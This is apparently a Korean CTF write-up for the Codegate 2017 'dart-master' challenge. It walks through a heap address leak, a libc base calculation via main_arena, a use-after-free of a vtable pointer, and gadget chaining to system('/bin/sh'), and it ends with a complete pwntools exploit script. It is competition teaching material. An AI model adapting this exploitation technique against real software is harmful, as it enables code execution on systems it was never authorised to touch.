cgy12306
Codegate 2017 dart-master 본문
dart-mast 바이너리를 아이다로 분석해보자.
후... C++로 되어있다... C++ 공부를 많이 해야될듯하다.
1번을 입력해서 Login과정을 거치고 v11에 0x40만큼 동적할당 해준다.
sub_19B0(make_vtable)에 v11을 인자로 넣어서 호출한다.
sub_1360은 단순히 초기화 하는 함수이다.
v11에 vtable + 2와 연결한다.
즉 v11배열에 저 주소들이 들어가게 된다.
v11[0] = 로그인 v11[1] = 내부 v11[2] = 가입 v11[3] = 모드선택 v11[4] = 연습 v11[5] = 찐게임
이렇게 들어가게 된다.
v11[6]에 8byte만큼 동적할당해주고 0으로 초기화한다.
login하고, See others information을 선택해서, Card ID를 보면 메모리 주소가 leak이 되는걸 볼 수 있다.
leak이 되는 지점의 값을 확인해 봤다.
첫번째 계정의 heap 주소가 leak이 됐다.
또한 해당 위치에 값이 있으면 출력을 할 수 있다.
계정을 만든 후 계정을 한번 delete 하게 되면 main_arena의 주소를 얻을 수 있다.
main_arena는 malloc_state 구조체를 사용하는 변수인데 이 구조체를 이용해서 chunk들을 관리한다.
이 main_arena의 주소로 libc_base의 주소를 구할 수 있다.
첫번째 계정의 ID를 알려주는 fastbin이다.
main_arena의 주소를 알려주는 fastbin이다.
두 주소간의 차이를 구해서 값을 입력하면 main_arena+88의 주소를 구할 수 있게 된다.
main_arena로 libc_base와 cpp_base를 구했다.
code_base도 구할 수 있지만 딱히 필요는 없었다.
게임을 승리한 후 logout을 수행한 후 delete v18로 동적할당 해제하는 것을 볼 수 있다.
v18을 free하게 되면 Generate ID를 가리키고 있는 부분이 0으로 바뀌게 된다.
로그아웃 한 뒤 Generate ID를 하면 Segmentation fault가 뜨는 것을 볼 수 있다.
로그아웃 하는 부분에서 delete(v18)을 하게 되는데, v18의 fd 부분이 Generate ID의 포인터이다.
그래서 free가 되면서 Generate ID의 포인터가 0이 되어 segmentation fault가 뜨게 되는 것이다.
Delete로 계정을 삭제하는 부분에서 아이디를 입력받게 된다.
하지만 allocator로 free된 부분을 덮어 쓸 수 있게 된다.
Before
cin함수를 지나서..
After
fastbins 0x50에서 동적할당 시도가 들어오면 0x55da5a044cf60을 할당을 해주려 기다리고 있다가 allocator에서 동적할당 시도가 들어와서 0x55da5a044cf60을 할당해 줬다.
하지만 이 부분은 Generator ID의 포인터 부분이기 때문에 Generator ID를 호출하면 우리가 원하는 부분을 호출할 수 있게 된다.
mov rax, qword ptr[rax] 명령어 후에 call rax를 수행하게 되는데 rax를 다른 부분을 가리키게 하고 가리켜지는 부분에 system 함수의 주소를 넣게 되면 system 함수를 호출 할 수 있을 것이다.
manage 함수에서 password를 변경 할 수 있었다.
그러면 우리는 password 부분에 fake vtable을 구성할 수 있고, 위의 rax를 fake vtable을 가리키게 하면 될 것이다.
password의 주소는 Card ID와 0xf0만큼 떨어져있는것을 확인할 수 있다.
하지만 문제가 더 있다.
system 함수를 호출해도 한번에 인자를 넘겨줄 수 없다는 점이다.
가젯을 이용하여 체이닝을 해서 넘겨주는 방법을 사용했다.(Call Oriented Programmin)
그림으로 그려보면 이렇다.
from pwn import *
context.log_level = 'debug'
p = process('./dart-master')
gdb.attach(p)
p.recvuntil('Enter your ID : ')
p.sendline('A')
p.recvuntil('Enter password : ')
p.sendline('A')
p.recvuntil('Confirm password : ')
p.sendline('A')
p.recvuntil('Enter information : ')
p.sendline('A')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('Enter your ID : ')
p.sendline('B')
p.recvuntil('Enter password : ')
p.sendline('B')
p.recvuntil('Confirm password : ')
p.sendline('B')
p.recvuntil('Enter information : ')
p.sendline('B')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('Enter your ID : ')
p.sendline('C')
p.recvuntil('Enter password : ')
p.sendline('C')
p.recvuntil('Confirm password : ')
p.sendline('C')
p.recvuntil('Enter information : ')
p.sendline('C')
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Which ID do you wanna delete? ')
p.sendline('C')
p.recvuntil('Please enter password : ')
p.sendline('C')
p.recvuntil('>') # login
p.sendline('1')
p.recvuntil('Enter your ID : ')
p.sendline('A')
p.recvuntil('Enter password : ')
p.sendline('A')
p.recvuntil('>')
p.sendline('1') # Practice
while True:
p.sendline('50')
if 'Game Over!' in p.recv(1024):
break;
p.sendline('2') # Play with computer
while True:
p.sendline('50')
if 'Your score : 51' in p.recv(1024):
p.sendline('50')
p.recv()
p.sendline('1')
if 'You win!!' in p.recv():
break;
else:
p.sendline('2')
p.sendline('3')
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
p.sendline('632')
p.recvuntil('>')
p.sendline('1')
p.recvuntil('Card ID : ')
arena_leak = int(p.recvline(), 16)
libc_base = arena_leak - 0x3c4b78
system = libc_base + 0x45390
cpp_base = libc_base + 0x5e0000
log.info('libc_base: ' + hex(libc_base))
log.info('arena_leak : ' + hex(arena_leak))
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
p.sendline('0')
p.recvuntil('>')
p.sendline('1')
p.recvuntil('Card ID : ')
card_id = int(p.recvline(), 16)
passwd = card_id + 0xf0
log.info('card_id : ' + hex(card_id))
log.info('passwd : ' + hex(passwd))
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Which one do you wanna see? ')
p.sendline('6')
p.recvuntil('>')
p.sendline('1')
p.recvuntil('Card ID : ')
code_leak = int(p.recvline(), 16)
code_base = code_leak - 0x204c88
cin = code_base + 0x1468
log.info('Cin : ' + hex(cin))
p.recvuntil('>')
p.sendline('1')
gadget1 = cpp_base + 0x000b3840
gadget2 = cpp_base + 0x000ecf52
gadget3 = cpp_base + 0x000c81d1
p.recvuntil('Enter new password : ') # fake vtable
p.sendline(p64(passwd-0x8) + p64(system) + p64(gadget1) + 'A'*0x10 + p64(gadget3))
p.recvuntil('>')
p.sendline('4')
'''
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Which ID do you wanna delete? ')
p.sendline('B')
p.recvuntil('Please enter password : ')
p.sendline('B')
'''
p.recvuntil('>')
p.sendline('3')
p.recvuntil('Which ID do you wanna delete? ')
p.sendline(p64(passwd) + p64(gadget2) + '/bin/sh\x00' + 'B'*0x8) # vtable pointer
p.recvuntil('>')
p.sendline('2')
p.interactive()
'CTF Write-up' 카테고리의 다른 글
Christmas CTF 2020 Diary write-up (0) | 2021.02.01 |
---|---|
Christmas 2020 CTF Screw Driver Write-Up (0) | 2021.01.02 |
WITHCON 2016 malloc (0) | 2020.04.18 |
Codegate 2016 floppy (0) | 2020.04.18 |
Codegate 2017 Angrybird (0) | 2020.03.02 |